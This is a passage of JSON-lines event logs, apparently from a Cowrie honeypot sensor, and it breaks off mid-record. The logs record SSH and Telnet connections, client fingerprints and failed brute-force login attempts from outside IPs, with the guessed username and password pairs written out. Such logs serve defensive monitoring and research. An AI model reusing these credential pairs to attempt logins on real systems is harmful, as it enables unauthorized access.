{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:36:39.298781Z","src_ip":"141.11.88.14","session":"00ddac82ff9c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":37874,"dst_ip":"159.203.135.109","dst_port":23,"session":"76a7a272d4f5","protocol":"telnet","message":"New connection: 128.199.8.54:37874 (159.203.135.109:23) [session: 76a7a272d4f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:36:39.838333Z"}
{"eventid":"cowrie.session.connect","src_ip":"211.253.37.225","src_port":47960,"dst_ip":"159.203.135.109","dst_port":22,"session":"454b4920c642","protocol":"ssh","message":"New connection: 211.253.37.225:47960 (159.203.135.109:22) [session: 454b4920c642]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:36:40.144982Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:36:40.187647Z","src_ip":"211.253.37.225","session":"454b4920c642","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":60816,"dst_ip":"10.17.0.5","dst_port":22,"session":"b50fc80d5acd","protocol":"ssh","message":"New connection: 103.176.20.57:60816 (10.17.0.5:22) [session: b50fc80d5acd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:36:40.285414Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:36:40.290072Z","src_ip":"103.176.20.57","session":"b50fc80d5acd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:36:40.450795Z","src_ip":"211.253.37.225","session":"454b4920c642","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"postgres","message":"login attempt [postgres/postgres] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:36:40.458652Z","src_ip":"141.11.88.14","session":"00ddac82ff9c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:36:40.545454Z","src_ip":"103.176.20.57","session":"b50fc80d5acd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"charge","password":"123456","message":"login attempt [charge/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:36:41.250499Z","src_ip":"211.253.37.225","session":"454b4920c642","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"interne","message":"login attempt [root/interne] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:36:41.314078Z","src_ip":"103.176.20.57","session":"b50fc80d5acd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:36:41.750344Z","src_ip":"141.11.88.14","session":"00ddac82ff9c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:36:42.465913Z","src_ip":"211.253.37.225","session":"454b4920c642","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:36:42.572007Z","src_ip":"103.176.20.57","session":"b50fc80d5acd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":49012,"dst_ip":"10.17.0.5","dst_port":22,"session":"183b2aaedc7f","protocol":"ssh","message":"New connection: 141.11.88.14:49012 (10.17.0.5:22) [session: 183b2aaedc7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:36:46.766142Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:36:46.869519Z","src_ip":"141.11.88.14","session":"183b2aaedc7f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:36:46.873006Z","src_ip":"141.11.88.14","session":"183b2aaedc7f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"123","message":"login attempt [dev/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:36:48.812094Z","src_ip":"141.11.88.14","session":"183b2aaedc7f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:36:50.177498Z","src_ip":"141.11.88.14","session":"183b2aaedc7f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.858895778656006,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:36:53.256495Z","src_ip":"128.199.8.54","session":"8aad8a99f97b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":45420,"dst_ip":"159.203.135.109","dst_port":23,"session":"e369a0e95ebb","protocol":"telnet","message":"New connection: 128.199.8.54:45420 (159.203.135.109:23) [session: e369a0e95ebb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:36:53.288456Z"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":31390,"dst_ip":"10.17.0.5","dst_port":22,"session":"14ca4f4f5f1e","protocol":"ssh","message":"New connection: 141.11.88.14:31390 (10.17.0.5:22) [session: 14ca4f4f5f1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:36:54.319036Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:36:54.423391Z","src_ip":"141.11.88.14","session":"14ca4f4f5f1e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:36:54.426940Z","src_ip":"141.11.88.14","session":"14ca4f4f5f1e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"anders","password":"anders","message":"login attempt [anders/anders] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:36:55.127574Z","src_ip":"141.11.88.14","session":"14ca4f4f5f1e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:36:56.427650Z","src_ip":"141.11.88.14","session":"14ca4f4f5f1e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":33546,"dst_ip":"10.17.0.5","dst_port":22,"session":"cb4bd34293bd","protocol":"ssh","message":"New connection: 141.11.88.14:33546 (10.17.0.5:22) [session: cb4bd34293bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:37:01.037616Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:37:01.433045Z","src_ip":"141.11.88.14","session":"cb4bd34293bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:37:01.435976Z","src_ip":"141.11.88.14","session":"cb4bd34293bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd","message":"login attempt [root/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:37:02.118179Z","src_ip":"141.11.88.14","session":"cb4bd34293bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:37:03.202752Z","src_ip":"141.11.88.14","session":"cb4bd34293bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.86.34.139","src_port":43372,"dst_ip":"10.17.0.5","dst_port":22,"session":"5996de6079b8","protocol":"ssh","message":"New connection: 41.86.34.139:43372 (10.17.0.5:22) [session: 5996de6079b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:37:06.670199Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:37:06.675918Z","src_ip":"41.86.34.139","session":"5996de6079b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:37:06.885988Z","src_ip":"41.86.34.139","session":"5996de6079b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"123456789","message":"login attempt [ftpuser/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:37:07.754071Z","src_ip":"41.86.34.139","session":"5996de6079b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.143.231.24","src_port":46776,"dst_ip":"10.17.0.5","dst_port":22,"session":"4e1099ae0f71","protocol":"ssh","message":"New connection: 103.143.231.24:46776 (10.17.0.5:22) [session: 4e1099ae0f71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:37:08.950058Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:37:08.958366Z","src_ip":"103.143.231.24","session":"4e1099ae0f71","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:37:08.971073Z","src_ip":"41.86.34.139","session":"5996de6079b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:37:09.029310Z","src_ip":"103.143.231.24","session":"4e1099ae0f71","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":45060,"dst_ip":"10.17.0.5","dst_port":22,"session":"780b5981bbf0","protocol":"ssh","message":"New connection: 141.11.88.14:45060 (10.17.0.5:22) [session: 780b5981bbf0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:37:09.234077Z"}
{"eventid":"cowrie.login.failed","username":"mohammad","password":"123","message":"login attempt [mohammad/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:37:09.352679Z","src_ip":"103.143.231.24","session":"4e1099ae0f71","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:37:09.386378Z","src_ip":"141.11.88.14","session":"780b5981bbf0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","s